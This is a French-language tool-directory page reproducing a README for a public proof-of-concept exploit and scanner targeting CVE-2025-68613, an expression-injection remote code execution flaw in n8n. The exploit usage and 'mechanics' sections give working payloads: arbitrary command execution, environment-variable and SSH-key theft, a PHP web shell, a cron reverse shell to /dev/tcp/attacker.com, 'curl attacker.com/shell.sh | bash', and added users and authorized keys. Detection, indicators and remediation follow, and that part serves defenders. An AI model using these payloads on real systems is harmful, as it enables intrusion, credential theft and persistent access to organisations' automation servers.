Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-68613-POC — PoC public + Scanner et recherche pour CVE-2025-68613 : RCE critique dans l'automatisation de workflows n8n via injection d'expressions (CVSS 10.0). Inclut des outils de détection, l'exploit complet et des conseils de remédiation. | Kitploit
Outils/GitHubGitHub/thestingr/cve-2025-68613-poc
ReconnaissanceScanners de VulnérabilitésAnalyse des VulnérabilitésExploitationExploitation d'Applications WebCollecte d'InformationsTests d'IntrusionArticles et RechercheApprentissage et Éducation

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Red Teaming
Développement de Charges Utiles
GitHubthestingr/cve-2025-68613-poc

CVE-2025-68613-POC

PoC public + Scanner et recherche pour CVE-2025-68613 : RCE critique dans l'automatisation de workflows n8n via injection d'expressions (CVSS 10.0). Inclut des outils de détection, l'exploit complet et des conseils de remédiation.

Voir le dépôt
26il y a 7 moisVérifié par Kitploit
Partager

🚨 CVE-2025-68613 : Vulnérabilité critique d'exécution de code à distance (RCE) dans n8n

Language: Python CVSS Score: 10.0 Critical Exploit Status: Proof of Concept Available CVE Status: CVE-2025-68613 Disclosed Version: v1.0.2 Target Platform: n8n

CVE-2025-68613 PoC - TechSquad RedTeam

Table des matières

  1. Vue d'ensemble
  2. Qu'est-ce que n8n ?
  3. Notions de base sur la vulnérabilité
  4. Détails techniques
  5. Versions affectées
  6. Mécanismes d'exploitation
Télécharger l’outil
  • Impact dans le monde réel
  • Méthodes de détection
  • Remédiation et atténuation
  • Ressources et références

  • Vue d'ensemble

    CVE-2025-68613 est une vulnérabilité critique d'exécution de code à distance (RCE) découverte dans n8n, une plateforme open-source populaire d'automatisation de flux de travail. Cette vulnérabilité permet à des utilisateurs authentifiés d'exécuter du code arbitraire sur le serveur, ce qui peut mener à un compromis complet du système.

    En bref

    • ID CVE : CVE-2025-68613
    • Score CVSS : 9.9 - 10.0 (Critique)
    • Type de vulnérabilité : Injection d'expression → Exécution de code à distance
    • CWE : CWE-913 (Contrôle inapproprié des ressources de code gérées dynamiquement)
    • Vecteur d'attaque : Réseau
    • Authentification requise : Oui (privilèges faibles - aucun accès administrateur requis) |- Statut : Preuve de concept disponible (vérifiée fonctionnelle sur la v1.121.0)

    Qu'est-ce que n8n ?

    n8n est une plateforme open-source d'automatisation de flux de travail qui permet aux utilisateurs de :

    • Connecter divers API, bases de données et services
    • Automatiser des processus métier répétitifs
    • Créer des flux de travail complexes sans codage approfondi
    • Déployer sur site ou dans le cloud

    Pourquoi n8n est une infrastructure critique

    Les organisations utilisent n8n pour :

    • Intégrer des bases de données avec des services cloud
    • Automatiser les pipelines de traitement de données
    • Connecter les CRM, ERP et systèmes internes
    • Gérer des données sensibles et des identifiants API

    Ce rôle central dans l'infrastructure informatique rend les vulnérabilités particulièrement dangereuses, car elles peuvent donner aux attaquants un accès à des réseaux entiers et à des données sensibles.


    Outils de ce dépôt

    Ce dépôt comprend des outils prêts à l'emploi pour la détection de vulnérabilités et les tests d'exploitation :

    1. Scanner : cve-2025-68613-scanner.py

    Objectif : Détection sûre et sans exploitation des instances n8n vulnérables

    Fonctionnalités :

    • Détection passive de version à partir des réponses HTTP
    • Aucune authentification requise
    • Aucune exécution de charge utile
    • Vérifie plusieurs chemins courants (/, /rest/settings, /healthz, /api/v1/health)
    • Sûr pour les évaluations de sécurité autorisées

    Utilisation :```bash python3 cve-2025-68613-scanner.py -u http://target:5678

    root@kitploit:~
    **Sortie**:
    - Code de sortie 0: Non vulnérable
    - Code de sortie 1: Version indéterminée (peut être corrigée ou masquée)
    - Code de sortie 2: Version vulnérable détectée
    
    ### 2. Modèle Nuclei: `CVE-2025-68613.yaml`
    **Objectif**: Détection automatisée de vulnérabilités et test de base de l'évaluation d'expressions
    
    **Fonctionnalités**:
    - Nécessite un jeton d'authentification valide
    - Teste la capacité d'injection d'expressions
    - Tente de lire le contexte global de Node.js (process.platform)
    - Crée des workflows de test pour valider le vecteur RCE
    - Classification de gravité critique CVSS 10.0
    
    **Utilisation**:```bash
    # Single target with known token
    nuclei -t CVE-2025-68613.yaml -u http://target:5678 -v
    
    # Multiple targets
    nuclei -t CVE-2025-68613.yaml -l targets.txt
    

    3. Exploit complet : exploit_cve-2025-68613.py

    Objectif : Exploit de preuve de concept complet avec plusieurs payloads d'attaque

    Fonctionnalités :

    • Gestion complète de l'authentification
    • Plusieurs payloads d'exploitation :
      • info : Recueillir les informations système (OS, architecture, version de Node.js, utilisateur courant)
      • cmd : Exécuter des commandes système arbitraires
      • env : Extraire toutes les variables d'environnement (révèle les identifiants, clés API, secrets)
      • read : Lire les fichiers sensibles du système de fichiers (clés SSH, fichiers de configuration, etc.)
      • write : Écrire des fichiers sur le système de fichiers (persistance, backdoors, etc.)
      • revshell : Établir une connexion reverse shell pour un accès interactif
    • Nettoyage automatique du workflow
    • Gestion des erreurs et rapport d'état

    Prérequis :

    • Identifiants utilisateur n8n valides (e-mail/mot de passe)
    • Python 3.6+ avec la bibliothèque requests
    • Accès réseau à l'instance n8n cible

    Installation :```bash pip install requests chmod +x exploit_cve-2025-68613.py

    root@kitploit:~
    **Exemples d'utilisation**:```bash
    # Gather system information
    python3 exploit_cve-2025-68613.py -u http://target:5678 \  
      -e [email protected] -p password --payload info
    
    # Execute system command (whoami)
    python3 exploit_cve-2025-68613.py -u http://target:5678 \  
      -e [email protected] -p password --payload cmd --command "whoami"
    
    # Extract all environment variables (credentials, API keys)
    python3 exploit_cve-2025-68613.py -u http://target:5678 \  
      -e [email protected] -p password --payload env
    
    # Read sensitive files
    python3 exploit_cve-2025-68613.py -u http://target:5678 \  
      -e [email protected] -p password --payload read --file "/etc/passwd"
    
    # Establish reverse shell (requires netcat listener)
    # On attacker machine: nc -lvnp 4444
    python3 exploit_cve-2025-68613.py -u http://target:5678 \  
      -e [email protected] -p password --payload revshell --lhost 10.10.14.5 --lport 4444
    
    # Write a web shell for persistence
    python3 exploit_cve-2025-68613.py -u http://target:5678 \  
      -e [email protected] -p password --payload write \  
      --file "/tmp/shell.php" --content '<?php system($_GET["cmd"]); ?>'
    

    Comment ça fonctionne :

    1. S'authentifie auprès de n8n avec les identifiants fournis
    2. Crée un workflow malveillant avec une charge utile d'injection d'expression
    3. La charge utile s'échappe du bac à sable d'expressions à l'aide de this.constructor.constructor()
    4. Exécute la charge utile via process.platform ou d'autres API Node.js
    5. Récupère les résultats de l'exécution du workflow
    6. Nettoie en supprimant le workflow de test

    Codes de sortie :

    • 0 : Exploitation réussie
    • 1 : Échec de l'authentification ou de l'exploitation

    Notions de base sur la vulnérabilité

    Quel est le problème ?

    En termes simples : n8n permet aux utilisateurs d'écrire des expressions dans les workflows pour traiter les données de manière dynamique. Cependant, ces expressions sont évaluées sans véritable bac à sable, ce qui permet aux attaquants de sortir du contexte d'exécution prévu et d'exécuter du code arbitraire sur le serveur.

    Le problème fondamental

    Lorsque vous créez un workflow dans n8n, vous pouvez utiliser des « expressions » pour manipuler les données. Ces expressions sont censées s'exécuter dans un environnement restreint. Cependant, la vulnérabilité montre que ces expressions peuvent accéder au système sous-jacent, permettant à un attaquant de :

    1. Exécuter des commandes système
    2. Lire/écrire des fichiers sur le serveur
    3. Voler des variables d'environnement (clés API, mots de passe, secrets)
    4. Modifier ou supprimer des données
    5. Établir une persistance pour un accès à long terme

    Pourquoi c'est si dangereux

    • Faible barrière à l'entrée : nécessite uniquement une connexion utilisateur (aucun privilège d'administrateur spécial)
    • Grande applicabilité : de nombreuses organisations permettent aux utilisateurs non techniques de créer des workflows
    • Impact élevé : s'exécute avec tous les privilèges du processus n8n
    • Accès aux données : peut accéder à toutes les données auxquelles n8n a accès (bases de données, API, identifiants)
    • Position réseau : n8n se trouve souvent au centre des infrastructures critiques, ce qui permet un mouvement latéral

    Détails techniques

    Comment fonctionne la vulnérabilité

    Étape 1 : Évaluation des expressions du workflow

    Lorsqu'un utilisateur crée un workflow dans n8n, il peut utiliser des expressions pour traiter les données :``` Input: User creates a workflow with an expression n8n Expression Engine: Evaluates the expression Expected Output: Processed data Actual Output (Vulnerable): Expression execution context not isolated from runtime

    root@kitploit:~
    #### Étape 2 : Injection d'expression
    Un attaquant crée une expression malveillante qui échappe à la sandbox prévue :```javascript
    // Example: Malicious expression in workflow
    ${require('child_process').execSync('id')}
    

    Étape 3 : Exécution du code

    L'expression est évaluée sans isolation appropriée, permettant à l'attaquant de :

    • Appeler des fonctions système
    • Exécuter des commandes shell
    • Accéder au système de fichiers
    • Lire les variables d'environnement

    La cause racine

    La vulnérabilité découle d'un sandboxing insuffisant dans le moteur d'évaluation des expressions. L'équipe n8n évalue les expressions dans un contexte qui :

    • Autorise l'accès à require() ou à des fonctions de chargement de modules similaires
    • Ne restreint pas correctement l'accès aux API système
    • Ne valide ni ne filtre la syntaxe des expressions
    • N'empêche pas les attaques de pollution de prototype
    • N'isole pas l'environnement d'exécution du runtime Node.js sous-jacent

    Chemin d'exécution du code```

    User Input (Workflow Expression) ↓ Expression Parser ↓ Evaluation Engine (VULNERABLE - Not Sandboxed) ↓ Direct Access to Node.js Runtime ↓ System Command Execution / File Access / Credential Theft

    root@kitploit:~
    ---
    
    ## Versions concernées
    
    ### Plage vulnérable
    
    Toutes les versions de n8n à partir de la **0.211.0** jusqu'aux versions suivantes sont vulnérables :
    - `0.211.0` → `1.120.3`
    - `1.121.0`
    
    ### Versions corrigées
    
    La vulnérabilité a été corrigée dans :
    - ✅ `1.120.4` et versions ultérieures de la branche 1.120.x
    - ✅ `1.121.1` et versions ultérieures de la branche 1.121.x
    - ✅ `1.122.0` et toutes les versions plus récentes
    
    ### Comment vérifier votre version```bash
    # If n8n is running
    curl http://your-n8n-instance:5678/ | grep -i "version"
    
    # Or check the admin panel
    # Go to Settings → About → Version
    

    Versions testées et compatibilité

    Vérifié fonctionnel

    • n8n v1.121.0 : ✅ Pleinement exploitable (RCE confirmée, injection d'expression fonctionnelle)
    • n8n v0.211.0 - v1.120.3 : ✅ Dans la plage vulnérable selon NVD (non testé individuellement)

    Problèmes connus

    • Limitation d'exécution REST : Le point de terminaison /rest/workflows/{id}/run renvoie une erreur HTTP 500 dans v1.121.0
      • Solution de contournement : L'injection d'expression fonctionne parfaitement, la RCE est confirmée via :
        1. Le clic manuel sur le bouton « Test Step » dans l'interface (prouvé fonctionnel)
        2. La capture de sortie du workflow
      • Il s'agit d'une limitation de l'API, pas d'un bug de l'exploit

    Non testé

    • n8n v0.212.0+ : Hors de la plage de vulnérabilité documentée, probablement corrigé (voir issue GitHub #1)
    • Déploiements sur Windows Server : Données de test limitées sur les environnements spécifiques à Windows

    Déclaration de prise en charge des versions

    L'exploit est conçu pour fonctionner contre la plage vulnérable documentée dans NVD :

    • Vulnérables confirmées : 0.211.0 jusqu'à 1.120.3, plus 1.121.0
    • Versions corrigées : 1.120.4, 1.121.1, 1.122.0 et ultérieures

    Si vous testez des versions en dehors de cette plage, le succès n'est pas garanti.


    Mécanique d'exploitation

    Que peut faire un attaquant ?

    Une fois qu'un utilisateur authentifié (ou un attaquant disposant d'identifiants valides) exploite cette vulnérabilité, il peut :

    1. Exécuter des commandes système arbitraires```javascript

    ${require('child_process').execSync('whoami').toString()} // Returns: root (or whatever user runs n8n)

    ${require('child_process').execSync('curl attacker.com/shell.sh | bash').toString()} // Downloads and executes a shell script

    root@kitploit:~
    #### 2. Lire des fichiers depuis le serveur```javascript
    ${require('fs').readFileSync('/etc/passwd', 'utf-8')}
    // Reads sensitive system files
    
    ${require('fs').readFileSync('/home/user/.ssh/id_rsa', 'utf-8')}
    // Steals SSH keys
    

    3. Lire les variables d'environnement```javascript

    ${Object.keys(process.env).join(', ')} // Lists all environment variables

    ${process.env.DATABASE_PASSWORD} // Extracts specific secrets

    root@kitploit:~
    #### 4. Écrire des fichiers malveillants```javascript
    ${require('fs').writeFileSync('/var/www/shell.php', 'malicious code')}
    // Plants a web shell for persistence
    
    ${require('fs').writeFileSync('/home/user/.ssh/authorized_keys', 'attacker_key')}
    // Adds SSH access
    

    5. Accéder aux services connectés```javascript

    // Access workflow credentials (stored API keys, passwords) // Modify or view connected databases // Exfiltrate data from all integrated systems

    root@kitploit:~
    #### 6. Établir la persistance```javascript
    ${require('child_process').execSync('echo "* * * * * /bin/bash -i >& /dev/tcp/attacker.com/443 0>&1" | crontab -')}
    // Creates a cron job for reverse shell access
    
    ${require('child_process').execSync('useradd -m -s /bin/bash attacker')}
    // Creates a new user account
    

    Exemple de scénario d'attaque

    Scénario réel : entreprise utilisant n8n

    1. L'attaquant obtient des identifiants : par hameçonnage, réutilisation d'identifiants ou mot de passe faible
    2. Se connecte à n8n : utilise un compte utilisateur légitime
    3. Crée un workflow « inoffensif » : prétend qu'il est destiné au traitement de données
    4. Injecte une expression malveillante : dissimule l'exploit dans une étape du workflow
    5. Exécute du code : lance des commandes avec les privilèges du processus n8n
    6. Exfiltre des données : vole des clés API, des identifiants de base de données, des données clients
    7. Établit une persistance : installe des portes dérobées, crée de nouveaux comptes administrateur
    8. Se déplace latéralement : utilise les identifiants volés pour accéder à d'autres systèmes

    Impact concret

    Impact sur la confidentialité (ÉLEVÉ)

    • Accès aux données sensibles traitées par les workflows
    • Extraction de clés API, de mots de passe de bases de données, de clés de chiffrement
    • Lecture des fichiers de configuration, des journaux et des secrets
    • Violations potentielles du RGPD/de la conformité par vol de données

    Impact sur l'intégrité (ÉLEVÉ)

    • Modification des workflows existants pour saboter les opérations
    • Injection de workflows malveillants qui corrompent les données
    • Altération des sorties de workflows affectant les systèmes en aval
    • Installation de portes dérobées pour un accès persistant

    Impact sur la disponibilité (ÉLEVÉ)

    • Suppression de workflows critiques provoquant une interruption des activités
    • Modification de fichiers système entraînant des plantages de services
    • Épuisement des ressources par automatisation malveillante
    • Attaques par rançongiciel où les attaquants exigent un paiement pour restaurer les systèmes

    Exemples d'impact sur l'entreprise

    Entreprise manufacturière

    • n8n automatise le traitement des commandes et la gestion des stocks
    • L'attaquant exfiltre les commandes clients et les informations fournisseurs
    • Modifie les workflows pour envoyer de mauvais produits aux clients
    • Résultats : perte de confiance des clients, responsabilité juridique, perturbation des opérations

    Services financiers

    • n8n intègre les API bancaires et le traitement des paiements
    • L'attaquant vole les identifiants API et les jetons d'authentification
    • Redirige les transactions ou crée des enregistrements frauduleux
    • Résultats : sanctions réglementaires, indemnisation des clients, atteinte à la réputation

    Organisme de santé

    • n8n gère l'intégration et le reporting des données patients
    • L'attaquant accède aux informations de santé protégées (PHI)
    • Modifie les dossiers médicaux ou bloque les alertes critiques
    • Résultats : violations HIPAA, préjudice pour les patients, responsabilité de l'organisation

    Méthodes de détection

    Méthode 1 : scanner de détection de version

    Script de détection sûr, sans exploitation (inclus dans le dépôt d'origine) :```bash python3 CVE-2025-68613.py -u http://your-n8n-instance:5678

    root@kitploit:~
    **Exemples de sortie**```
    [+] Target: http://127.0.0.1:5678
    [+] Possible n8n detected at /
    [+] Detected version: 1.120.2
    
    --- Result ---
    🚨 VULNERABLE
    Target version is affected by CVE-2025-68613
    

    Méthode 2 : Utilisation du modèle Nuclei

    Analyse automatisée avec Nuclei :```bash

    Single target

    nuclei -t CVE-2025-68613.yaml -u http://target:5678

    Multiple targets from file

    nuclei -t CVE-2025-68613.yaml -l targets.txt

    root@kitploit:~
    **Comment ça fonctionne** :
    1. Envoie des requêtes HTTP vers les chemins n8n courants
    2. Extrait les métadonnées de version depuis le HTML/les en-têtes
    3. Décode la configuration encodée en base64 si présente
    4. Compare la version aux plages vulnérables
    5. Signale si l'instance est vulnérable
    
    ### Méthode 3 : Capture manuelle de bannière```bash
    # Check for n8n in HTTP response
    curl -s http://target:5678/ | grep -i "n8n"
    
    # Check headers
    curl -I http://target:5678/ | grep -i "n8n"
    
    # Check common paths
    curl -s http://target:5678/api/v1/health
    curl -s http://target:5678/rest/settings
    curl -s http://target:5678/healthz
    

    Méthode 4: Reconnaissance réseau```bash

    Find n8n instances using Shodan

    shodan search "n8n" --limit 10

    Use favicon hash detection

    nmap -p 5678 --script http-favicon target.com

    root@kitploit:~
    ### Indicateurs d'exploitation (IOC)
    
    **Signes dans les journaux**:
    - Évaluations d'expressions inhabituelles dans les journaux de workflow
    - Erreurs d'expression contenant des commandes système
    - Accès à des fichiers sensibles (par exemple, références à /etc/passwd)
    - Lancement inattendu de processus à partir du processus n8n
    
    **Signes système**:
    - Création de nouveaux comptes utilisateur sur le serveur
    - Clés SSH inattendues dans authorized_keys
    - Nouvelles tâches cron ou tâches planifiées
    - Modifications de fichiers système
    - Connexions reverse shell depuis le serveur n8n
    
    ---
    
    ## Remédiation et atténuation
    
    ### SOLUTION PRINCIPALE: Mise à niveau immédiate
    
    **Il s'agit de la seule correction complète de la vulnérabilité.**
    
    #### Étape 1: Sauvegardez vos données```bash
    # Backup n8n database
    cp -r /path/to/n8n/database ./backup/
    
    # Backup workflows
    n8n export --backup-dir ./backup/
    

    Étape 2 : Mettre à jour n8n

    Avec Docker (Recommandé) :```bash

    Pull the latest patched version

    docker pull n8nio/n8n:1.122.0 # Or later

    Stop current instance

    docker stop n8n-container

    Start with new version

    docker run -d --name n8n-patched
    -p 5678:5678
    -v n8n_data:/home/node/.n8n
    n8nio/n8n:1.122.0

    root@kitploit:~
    **Utilisation de npm**:```bash
    # Backup first
    npm run export --backup
    
    # Update
    npm update n8n
    
    # Or specific version
    npm install [email protected]
    

    Utilisation du gestionnaire de paquets système:```bash

    Debian/Ubuntu

    sudo apt update && sudo apt upgrade n8n

    Or manual download

    wget https://github.com/n8n-io/n8n/releases/download/[email protected]/n8n.tar.gz

    root@kitploit:~
    #### Étape 3 : Vérifier la mise à jour```bash
    # Check version after update
    curl http://localhost:5678/api/v1/health | grep version
    
    # Ensure n8n is running
    curl http://localhost:5678/ | grep -i "n8n"
    

    ATTÉNUATION TEMPORAIRE : pendant la mise à niveau

    Important : Ces mesures ne corrigent PAS la vulnérabilité. Utilisez-les uniquement comme mesures temporaires pendant que vous planifiez les mises à niveau.

    1. Restreindre les permissions des workflows```

    n8n Admin Panel → Users & Permissions ├── Disable "User Can Create Workflows" for non-admin users ├── Restrict "User Can Edit Workflows" to trusted administrators only ├── Review existing user roles and remove unnecessary permissions └── Audit workflow creators for suspicious accounts

    root@kitploit:~
    #### 2. Surveiller les modifications de workflow```
    n8n Admin Panel → Settings → Audit Log
    ├── Enable comprehensive audit logging
    ├── Monitor for suspicious workflow modifications
    ├── Alert on expression evaluations in logs
    └── Review workflow change history regularly
    

    3. Isolation du réseau```bash

    Restrict n8n network access

    sudo ufw default deny incoming sudo ufw allow from 192.168.1.0/24 to any port 5678 # Only internal network sudo ufw enable

    Or using iptables

    sudo iptables -A INPUT -p tcp --dport 5678 -s 192.168.1.0/24 -j ACCEPT sudo iptables -A INPUT -p tcp --dport 5678 -j DROP

    root@kitploit:~
    #### 4. Exécuter n8n avec des privilèges minimaux```bash
    # Create dedicated n8n user
    sudo useradd -r -s /bin/false n8n-user
    
    # Run n8n as this user
    sudo -u n8n-user n8n
    
    # Or in Docker with user specification
    docker run -u 1000 n8nio/n8n:latest
    

    5. Activer l'authentification forte```

    n8n Admin Panel → Settings → Authentication ├── Enable 2FA for all accounts ├── Enforce strong password policies ├── Review and disable unnecessary service accounts ├── Implement SSO if available └── Disable any guest/demo accounts

    root@kitploit:~
    #### 6. Conteneurisation & Isolation```bash
    # Run n8n in a restricted Docker container
    docker run -d \
      --security-opt=no-new-privileges:true \
      --read-only \
      --cap-drop=ALL \
      --cap-add=NET_BIND_SERVICE \
      --tmpfs /tmp \
      -p 5678:5678 \
      n8nio/n8n:current-version
    

    7. Audit régulier```bash

    Monitor for suspicious activities

    Check for new files in n8n directories

    find /path/to/n8n -type f -mtime -1

    Monitor process activity

    ps aux | grep n8n netstat -tlnp | grep n8n

    Check for unauthorized SSH keys

    cat ~/.ssh/authorized_keys

    Review system logs

    journalctl -u n8n -n 100

    root@kitploit:~
    ---
    
    ## Matrice d'évaluation des risques
    
    | Scénario | Niveau de risque | Probabilité | Impact | Priorité |
    |----------|-----------|-----------|--------|----------|
    | n8n non corrigé, exposé à Internet | CRITIQUE | ÉLEVÉE | Compromission totale | 🔴 URGENT |
    | n8n non corrigé, interne uniquement | ÉLEVÉ | MOYENNE | Risque de menace interne | 🟠 ÉLEVÉ |
    | n8n corrigé | FAIBLE | FAIBLE | N/A | ✅ Résolu |
    | Non corrigé + restrictions de permissions | MOYEN | MOYENNE | Limité aux utilisateurs de confiance | 🟡 MOYEN |
    
    ---
    
    ## Récupération étape par étape en cas de compromission
    
    ### Actions immédiates (première heure)
    1. **Isoler le système** : déconnecter du réseau
    2. **Arrêter le service** : `sudo systemctl stop n8n`
    3. **Conserver les journaux** : sauvegarder tous les journaux avant tout effacement
    4. **Alerter l'équipe** : informer l'équipe de sécurité et la direction
    5. **Évaluer la portée** : déterminer à quelles données n8n a accédé
    
    ### Investigation (premier jour)
    1. **Examiner les journaux d'audit** : rechercher des activités suspectes
    2. **Analyser le trafic réseau** : rechercher une exfiltration de données
    3. **Vérifier les modifications de fichiers** : détecter les portes dérobées installées
    4. **Examiner les comptes utilisateurs** : rechercher des comptes nouveaux ou modifiés
    5. **Audit des identifiants** : réinitialiser toutes les clés API et tous les mots de passe utilisés par n8n
    
    ### Remédiation (jours 2 à 7)
    1. **Reconstruction complète du système** : ne pas simplement mettre à jour, reconstruire à partir d'une image propre
    2. **Rotation des identifiants** : réinitialiser tous les mots de passe, clés API, jetons
    3. **Tout corriger** : mettre à jour tous les systèmes connectés
    4. **Restaurer à partir d'une sauvegarde** : utiliser des sauvegardes propres antérieures à la compromission
    5. **Audit de sécurité** : mener une évaluation complète de la sécurité
    
    ### Post-incident (semaine 2 et au-delà)
    1. **Mettre en place une surveillance** : configurer une journalisation et des alertes continues
    2. **Modifier les procédures** : mettre à jour les procédures de réponse aux incidents
    3. **Formation des utilisateurs** : sensibiliser les équipes aux bonnes pratiques de sécurité
    4. **Analyse des vulnérabilités** : analyses régulières pour détecter des problèmes similaires
    5. **Examen de conformité** : s'assurer que toutes les réglementations sont respectées (RGPD, HIPAA, etc.)
    
    ---
    
    ## Prévention à l'avenir
    
    ### Bonnes pratiques de sécurité pour n8n
    
    1. **Maintenir n8n à jour**
       - Activer les mises à jour automatiques si disponibles
       - S'abonner aux avis de sécurité n8n
       - Tester les correctifs en préproduction avant la production
    
    2. **Contrôle d'accès**
       - Appliquer le principe du moindre privilège
       - Exiger des mots de passe forts et la 2FA
       - Mettre en place le SSO pour les déploiements en entreprise
       - Examens et audits réguliers des accès
    
    3. **Gestion des workflows**
       - Examiner tous les workflows pour détecter une logique suspecte
       - Mettre en place un processus de revue de code pour les workflows
       - Utiliser des conventions de nommage pour identifier les workflows critiques
       - Sauvegarder régulièrement les workflows
    
    4. **Gestion des identifiants**
       - Ne jamais stocker d'identifiants dans les workflows
       - Utiliser des variables d'environnement pour les données sensibles
       - Renouveler régulièrement les identifiants
       - Auditer l'accès aux identifiants
    
    5. **Surveillance et journalisation**
       - Activer une journalisation d'audit complète
       - Surveiller les activités inhabituelles
       - Configurer des alertes pour les opérations suspectes
       - Examen et analyse réguliers des journaux
    
    6. **Sécurité réseau**
       - Exécuter n8n dans des segments réseau isolés
       - Restreindre l'accès réseau aux seuls services requis
       - Utiliser un VPN/pare-feu pour l'accès à distance
       - Surveiller le trafic réseau pour détecter les anomalies
    
    7. **Réponse aux incidents**
       - Créer un plan de réponse aux incidents
       - Définir les procédures d'escalade
       - Mener des exercices de sécurité réguliers
       - Maintenir des listes de contacts à jour
    
    ---
    
    ## Dépannage
    
    ### Problème : "Exit code 1: Authentication or exploitation failed"
    
    **Causes courantes** :
    1. **Identifiants incorrects** (le plus courant)
       - Solution : vérifier d'abord que les identifiants fonctionnent pour la connexion à l'interface web
       - Essayer : `curl -X POST http://target:5678/rest/login -d '{"emailOrLdapLoginId":"[email protected]","password":"pass"}'`
    
    2. **L'utilisateur n'a pas les permissions de création de workflows**
       - Solution : utiliser un compte admin ou un compte utilisateur disposant des droits de création de workflows
       - Vérifier : panneau d'administration → Utilisateurs et permissions
    
    3. **La version est corrigée** (version > 1.121.0)
       - Solution : utiliser le scanner pour vérifier la version d'abord : `python3 cve-2025-68613-scanner.py -u http://target:5678`
       - Attendu : le scanner doit indiquer "Vulnerable" (code de sortie 2)
    
    4. **La structure de l'API a changé** (les versions plus anciennes/plus récentes peuvent différer)
       - Solution : consulter l'avis NVD : https://nvd.nist.gov/vuln/detail/CVE-2025-68613
       - Le plus probable si vous testez des versions en dehors de la plage documentée
    
    5. **Blocage réseau/pare-feu**
       - Solution : vérifier la connectivité : `curl http://target:5678/`
       - Vérifier : règles du pare-feu, paramètres de proxy, certificats SSL
    
    ### Problème : le scanner signale des faux positifs (détection d'une version incorrecte)
    
    **Corrigé dans v1.02** : le scanner utilise désormais la configuration Sentry décodée en base64 à partir des balises meta au lieu d'une simple regex. Cela élimine les faux positifs où la version de Node.js était détectée comme la version de n8n.
    
    **Ce qui a changé** :
    - Source principale : extraire et décoder `<meta name="n8n:config:sentry" content="[BASE64]">`
    - Solution de secours : la regex n'est utilisée que si la configuration Sentry est indisponible
    - Résultat : détection précise de la version sans faux positifs
    
    **Pour utiliser le scanner v1.02** :```bash
    # Update to v1.02
    git pull origin main
    
    # Run scanner
    python3 cve-2025-68613-scanner.py -u http://target:5678
    

    Problème: L'exécution REST renvoie une erreur 500

    Ce n'est PAS un bug de l'exploit - c'est une limitation de l'API.

    Explication:

    • Le endpoint /rest/workflows/{id}/run renvoie HTTP 500 dans n8n v1.121.0
    • Il s'agit d'une limitation de conception de l'API n8n, pas d'un bug de l'exploit
    • L'injection d'expression FONCTIONNE TOUJOURS via l'interface

    Solution de contournement:

    1. L'exploit crée un workflow avec une expression malveillante ✅ Fonctionne
    2. L'expression s'évalue et exécute le code ✅ Fonctionne (prouvé par des tests manuels)
    3. Cliquez manuellement sur le bouton "Test Step" dans l'interface pour déclencher l'expression ✅ Fonctionne
    4. Lire la sortie des résultats du workflow ✅ Fonctionne

    Preuve: Flag capturé sur TryHackMe: THM{n8n_exposed_workflow}


    Ressources et références

    Sources officielles

    • Dépôt GitHub de n8n: https://github.com/n8n-io/n8n
    • Avis de sécurité n8n: https://github.com/n8n-io/n8n/security/advisories
    • Documentation n8n: https://docs.n8n.io/

    Informations CVE

    • Entrée NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-68613
    • CVEDetails: https://www.cvedetails.com/cve/CVE-2025-68613/
    • CVETodo: https://cvetodo.com/cve/CVE-2025-68613

    Ressources de sécurité

    • NIST CWE-913: https://cwe.mitre.org/data/definitions/913.html
    • Injection de code OWASP: https://owasp.org/www-community/attacks/Code_Injection
    • Contournement de sandbox OWASP: https://owasp.org/www-community/attacks/Sandbox_Escape

    Résumé

    CVE-2025-68613 est une vulnérabilité critique qui nécessite une action immédiate. La combinaison de:

    • Capacité d'injection d'expression
    • Absence de sandboxing
    • Faibles exigences de privilèges
    • Large surface d'attaque (de nombreux utilisateurs créent des workflows)
    • Position centrale dans l'infrastructure informatique

    ...fait de celle-ci l'une des vulnérabilités les plus dangereuses des plateformes d'automatisation de workflows.

    La solution simple: mettez à niveau vers une version corrigée immédiatement. Il n'y a aucune excuse pour rester vulnérable à un RCE critique lorsque des correctifs sont disponibles.


    Version du document

    |- Version: 1.02 |- Date de création: December 18, 2025 |- Dernière mise à jour: December 26, 2025

    • Statut: Terminé
    • Auteur: The StingR / TechSquad Inc.
    • Organisation: TechSquad Inc.

    Avertissement

    Ce document est fourni uniquement à des fins éducatives et d'évaluation de sécurité autorisée. L'accès non autorisé aux systèmes informatiques est illégal. Assurez-vous toujours d'avoir une autorisation appropriée avant de tester, d'évaluer ou d'accéder à des systèmes dont vous n'êtes pas propriétaire.


    ⚠️ RAPPEL: Mettez à jour vos instances n8n immédiatement si vous exécutez des versions vulnérables.